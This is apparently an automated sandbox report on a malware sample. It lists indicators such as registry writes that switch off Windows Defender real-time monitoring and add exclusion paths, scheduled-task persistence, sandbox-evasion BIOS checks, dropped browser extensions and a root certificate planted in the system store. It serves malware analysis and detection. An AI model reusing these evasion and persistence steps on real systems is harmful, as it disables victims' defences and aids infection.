716f6f4ab95a622941189c237a95b1fa11b09064c3fac87589cfad5b7e188a76

Modify Existing Service

T1031

Disabling Security Tools

T1089

Processes:

reg.exereg.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection\DisableRealtimeMonitoring = "1"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection\DisableRealtimeMonitoring = "1"	reg.exe

Windows security bypass 2 TTPs 36 IoCs

evasion trojan

Disabling Security Tools

T1089

Modify Registry

Processes:

reg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exe

description	ioc	process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\VXhYlHHfTIOjvDnxzUR = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\Temp\MNBTbrbBidagOXts = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\Temp\MNBTbrbBidagOXts = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\bOFQhydRtxUn = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\ShihPiYTNRQZVEffH = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\ShihPiYTNRQZVEffH = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\CXdyuXxQU = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\LCSurMlfClMRC = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\CXdyuXxQU = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\YnFPtusxCOTU2 = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\ProgramData\RIEoyfpemMjlUPVB = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\ProgramData\RIEoyfpemMjlUPVB = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\Temp\MNBTbrbBidagOXts = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\Temp\MNBTbrbBidagOXts = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\YnFPtusxCOTU2 = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\VXhYlHHfTIOjvDnxzUR = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\bOFQhydRtxUn = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\LCSurMlfClMRC = "0"	reg.exe

Blocklisted process makes network request 6 IoCs

Processes:

rundll32.exe

flow pid process

29 112 rundll32.exe
30 112 rundll32.exe
31 112 rundll32.exe
32 112 rundll32.exe
33 112 rundll32.exe
35 112 rundll32.exe
Executes dropped EXE 4 IoCs

Processes:

Install.exeInstall.exehGZnYIG.exeCGyiENY.exe

pid process

1988 Install.exe
1512 Install.exe
1544 hGZnYIG.exe
1496 CGyiENY.exe

flow	pid	process
29	112	rundll32.exe
30	112	rundll32.exe
31	112	rundll32.exe
32	112	rundll32.exe
33	112	rundll32.exe
35	112	rundll32.exe

pid	process
1988	Install.exe
1512	Install.exe
1544	hGZnYIG.exe
1496	CGyiENY.exe

Checks BIOS information in registry 2 TTPs 2 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

Processes:

Install.exerundll32.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	Install.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	rundll32.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

System Information Discovery

Processes:

CGyiENY.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Control Panel\International\Geo\Nation	CGyiENY.exe

Loads dropped DLL 12 IoCs

Processes:

file.exeInstall.exeInstall.exerundll32.exe

pid	process
1048	file.exe
1988	Install.exe
1988	Install.exe
1988	Install.exe
1988	Install.exe
1512	Install.exe
1512	Install.exe
1512	Install.exe
112	rundll32.exe
112	rundll32.exe
112	rundll32.exe
112	rundll32.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Drops Chrome extension 2 IoCs

Processes:

CGyiENY.exe

description	ioc	process
File created	C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\gfcdbodapcbfckbfpmgeldfkkgjknceo\1.2.0_0\manifest.json	CGyiENY.exe
File created	C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\meejmcfbiapijdfaadackoblffmidlig\1.0.0.0\manifest.json	CGyiENY.exe

Drops file in System32 directory 23 IoCs

Processes:

powershell.EXECGyiENY.exeInstall.exehGZnYIG.exerundll32.exepowershell.EXEpowershell.EXEpowershell.EXE

description	ioc	process
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.EXE
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\F2DDCD2B5F37625B82E81F4976CEE400_D29849B2B3CC9118078AA61A670027D9	CGyiENY.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\A16C6C16D94F76E0808C087DFC657D99_57084D1D86D9F07AD164FDFDC2CB1CB3	CGyiENY.exe
File created	C:\Windows\system32\GroupPolicy\gpt.ini	Install.exe
File opened for modification	C:\Windows\system32\GroupPolicy\gpt.ini	hGZnYIG.exe
File opened for modification	C:\Windows\system32\GroupPolicy\Machine\Registry.pol	hGZnYIG.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B398B80134F72209547439DB21AB308D_A4CF52CCA82D7458083F7280801A3A04	CGyiENY.exe
File created	C:\Windows\system32\GroupPolicy\Machine\Registry.pol	hGZnYIG.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\CAF4703619713E3F18D8A9D5D88D6288_A7725538C46DE2D0088EE44974E2CEBA	CGyiENY.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\A16C6C16D94F76E0808C087DFC657D99_57084D1D86D9F07AD164FDFDC2CB1CB3	CGyiENY.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\Temporary Internet Files\counters.dat	rundll32.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B398B80134F72209547439DB21AB308D_A4CF52CCA82D7458083F7280801A3A04	CGyiENY.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA	CGyiENY.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA	CGyiENY.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\CAF4703619713E3F18D8A9D5D88D6288_A7725538C46DE2D0088EE44974E2CEBA	CGyiENY.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.EXE
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.EXE
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.EXE
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\Temporary Internet Files\counters.dat	CGyiENY.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\F2DDCD2B5F37625B82E81F4976CEE400_D29849B2B3CC9118078AA61A670027D9	CGyiENY.exe
File opened for modification	C:\Windows\system32\GroupPolicy\Machine\Registry.pol	CGyiENY.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\F07644E38ED7C9F37D11EEC6D4335E02_58589533BD741CABD9C6A1C2A7AAD4A1	CGyiENY.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\F07644E38ED7C9F37D11EEC6D4335E02_58589533BD741CABD9C6A1C2A7AAD4A1	CGyiENY.exe

Drops file in Program Files directory 13 IoCs

Processes:

CGyiENY.exe

description	ioc	process
File created	C:\Program Files (x86)\VXhYlHHfTIOjvDnxzUR\svNUyiZ.xml	CGyiENY.exe
File created	C:\Program Files (x86)\LCSurMlfClMRC\vtJLODh.dll	CGyiENY.exe
File created	C:\Program Files (x86)\CXdyuXxQU\iDPAID.dll	CGyiENY.exe
File created	C:\Program Files\Mozilla Firefox\browser\features\{469DEDC5-791B-41B7-99CA-EB25B08298D1}.xpi	CGyiENY.exe
File created	C:\Program Files\Mozilla Firefox\browser\omni.ja.bak	CGyiENY.exe
File created	C:\Program Files (x86)\YnFPtusxCOTU2\MioDfPXAqIGDH.dll	CGyiENY.exe
File created	C:\Program Files (x86)\YnFPtusxCOTU2\orieAVu.xml	CGyiENY.exe
File created	C:\Program Files (x86)\VXhYlHHfTIOjvDnxzUR\hAHugYj.dll	CGyiENY.exe
File opened for modification	C:\Program Files\Mozilla Firefox\browser\features\{469DEDC5-791B-41B7-99CA-EB25B08298D1}.xpi	CGyiENY.exe
File opened for modification	C:\Program Files\Mozilla Firefox\browser\omni.ja	CGyiENY.exe
File created	C:\Program Files (x86)\CXdyuXxQU\YZLELnM.xml	CGyiENY.exe
File created	C:\Program Files (x86)\LCSurMlfClMRC\qdnfEtc.xml	CGyiENY.exe
File created	C:\Program Files (x86)\bOFQhydRtxUn\fUZknXW.dll	CGyiENY.exe

Drops file in Windows directory 4 IoCs

Processes:

schtasks.exeschtasks.exeschtasks.exeschtasks.exe

description	ioc	process
File created	C:\Windows\Tasks\NSdDFfEujjmGqHjBl.job	schtasks.exe
File created	C:\Windows\Tasks\beNJzxXkYGhzSCmkZn.job	schtasks.exe
File created	C:\Windows\Tasks\GrrjjXtPjBVPFNmZQ.job	schtasks.exe
File created	C:\Windows\Tasks\ErhcMqZyPKQzNnH.job	schtasks.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 13 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

Processes:

schtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exe

pid	process
1724	schtasks.exe
768	schtasks.exe
1420	schtasks.exe
1600	schtasks.exe
1332	schtasks.exe
1044	schtasks.exe
1284	schtasks.exe
1752	schtasks.exe
1580	schtasks.exe
768	schtasks.exe
1272	schtasks.exe
1784	schtasks.exe
1392	schtasks.exe

Enumerates system info in registry 2 TTPs 4 IoCs

Query Registry

System Information Discovery

Processes:

Install.exerundll32.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	Install.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	Install.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	rundll32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	rundll32.exe

Modifies data under HKEY_USERS 64 IoCs

Processes:

CGyiENY.exewscript.exerundll32.exe

description	ioc	process
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	CGyiENY.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Root\Certificates	CGyiENY.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Root\CTLs	CGyiENY.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	CGyiENY.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot\CTLs	CGyiENY.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9F92260A-DB82-4639-A36B-503464505589}\WpadDecision = "0"	CGyiENY.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9F92260A-DB82-4639-A36B-503464505589}\WpadNetworkName = "Network 2"	CGyiENY.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\My	CGyiENY.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	CGyiENY.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\trust\CTLs	CGyiENY.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	CGyiENY.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Disallowed\Certificates	CGyiENY.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople\CRLs	CGyiENY.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\trust\CTLs	CGyiENY.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows Script Host\Settings	wscript.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "0"	wscript.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9F92260A-DB82-4639-A36B-503464505589}\WpadDecisionReason = "1"	CGyiENY.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "0"	CGyiENY.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "1"	CGyiENY.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Disallowed\CTLs	CGyiENY.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot\CRLs	CGyiENY.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople\Certificates	CGyiENY.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History\CachePrefix = "Visited:"	CGyiENY.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\62-c3-53-ee-bd-57\WpadDecision = "0"	CGyiENY.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	CGyiENY.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings	rundll32.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\62-c3-53-ee-bd-57	rundll32.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\62-c3-53-ee-bd-57\WpadDetectedUrl	rundll32.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad	rundll32.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\CA\CTLs	CGyiENY.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	CGyiENY.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	CGyiENY.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\SavedLegacySettings = 4600000002000000090000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	CGyiENY.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\62-c3-53-ee-bd-57\WpadDecisionReason = "1"	CGyiENY.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	CGyiENY.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Disallowed\CRLs	CGyiENY.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	CGyiENY.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	wscript.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\DefaultConnectionSettings = 4600000002000000090000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	CGyiENY.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ProxyEnable = "0"	CGyiENY.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	CGyiENY.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History\CachePrefix = "Visited:"	rundll32.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\CA\CRLs	CGyiENY.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\CA\CTLs	CGyiENY.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	CGyiENY.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "1"	wscript.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies\CachePrefix = "Cookie:"	CGyiENY.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9F92260A-DB82-4639-A36B-503464505589}\62-c3-53-ee-bd-57	CGyiENY.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\CA\CRLs	CGyiENY.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople\CTLs	CGyiENY.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ProxyEnable = "0"	rundll32.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\62-c3-53-ee-bd-57\WpadDecisionTime = 80492b4f0bd1d801	rundll32.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections	CGyiENY.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings	CGyiENY.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9F92260A-DB82-4639-A36B-503464505589}	CGyiENY.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	CGyiENY.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\trust\CRLs	CGyiENY.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies\CachePrefix = "Cookie:"	rundll32.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft	wscript.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	CGyiENY.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	CGyiENY.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	CGyiENY.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\trust\CRLs	CGyiENY.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\62-c3-53-ee-bd-57\WpadDecisionTime = 80492b4f0bd1d801	CGyiENY.exe

Modifies system certificate store 2 TTPs 2 IoCs

evasion spyware trojan

Install Root Certificate

T1130

Modify Registry

Processes:

CGyiENY.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\A8985D3A65E5E5C4B2D7D66D40C6DD2FB19C5436	CGyiENY.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\A8985D3A65E5E5C4B2D7D66D40C6DD2FB19C5436\Blob = 04000000010000001000000079e4a9840d7d3a96d7c04fe2434c892e0f0000000100000014000000b34ddd372ed92e8f2abfbb9e20a9d31f204f194b090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b0601050507030814000000010000001400000003de503556d14cbb66f0a3e21b1bc397b23dd1550b00000001000000120000004400690067006900430065007200740000001d000000010000001000000059779e39e21a2e3dfced6857ed5c5fd9030000000100000014000000a8985d3a65e5e5c4b2d7d66d40c6dd2fb19c54361900000001000000100000000f3a0527d242de2dc98e5cfcb1e991ee2000000001000000b3030000308203af30820297a0030201020210083be056904246b1a1756ac95991c74a300d06092a864886f70d01010505003061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a3061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100e23be11172dea8a4d3a357aa50a28f0b7790c9a2a5ee12ce965b010920cc0193a74e30b753f743c46900579de28d22dd870640008109cece1b83bfdfcd3b7146e2d666c705b37627168f7b9e1e957deeb748a308dad6af7a0c3906657f4a5d1fbc17f8abbeee28d7747f7a78995985686e5c23324bbf4ec0e85a6de370bf7710bffc01f685d9a844105832a97518d5d1a2be47e2276af49a33f84908608bd45fb43a84bfa1aa4a4c7d3ecf4f5f6c765ea04b37919edc22e66dce141a8e6acbfecdb3146417c75b299e32bff2eefad30b42d4abb74132da0cd4eff881d5bb8d583fb51be84928a270da3104ddf7b216f24c0a4e07a8ed4a3d5eb57fa390c3af270203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e0416041403de503556d14cbb66f0a3e21b1bc397b23dd155301f0603551d2304183016801403de503556d14cbb66f0a3e21b1bc397b23dd155300d06092a864886f70d01010505000382010100cb9c37aa4813120afadd449c4f52b0f4dfae04f5797908a32418fc4b2b84c02db9d5c7fef4c11f58cbb86d9c7a74e79829ab11b5e370a0a1cd4c8899938c9170e2ab0f1cbe93a9ff63d5e40760d3a3bf9d5b09f1d58ee353f48e63fa3fa7dbb466df6266d6d16e418df22db5ea774a9f9d58e22b59c04023ed2d2882453e7954922698e08048a837eff0d6796016deace80ecd6eac4417382f49dae1453e2ab93653cf3a5006f72ee8c457496c612118d504ad783c2c3a806ba7ebaf1514e9d889c1b9386ce2916c8aff64b977255730c01b24a3e1dce9df477cb5b424080530ec2dbd0bbf45bf50b9a9f3eb980112adc888c698345f8d0a3cc6e9d595956dde	CGyiENY.exe

Suspicious behavior: EnumeratesProcesses 28 IoCs

Processes:

powershell.EXEpowershell.EXEpowershell.EXEpowershell.EXECGyiENY.exe

pid	process
1984	powershell.EXE
1984	powershell.EXE
1984	powershell.EXE
672	powershell.EXE
672	powershell.EXE
672	powershell.EXE
684	powershell.EXE
684	powershell.EXE
684	powershell.EXE
1820	powershell.EXE
1820	powershell.EXE
1820	powershell.EXE
1496	CGyiENY.exe
1496	CGyiENY.exe
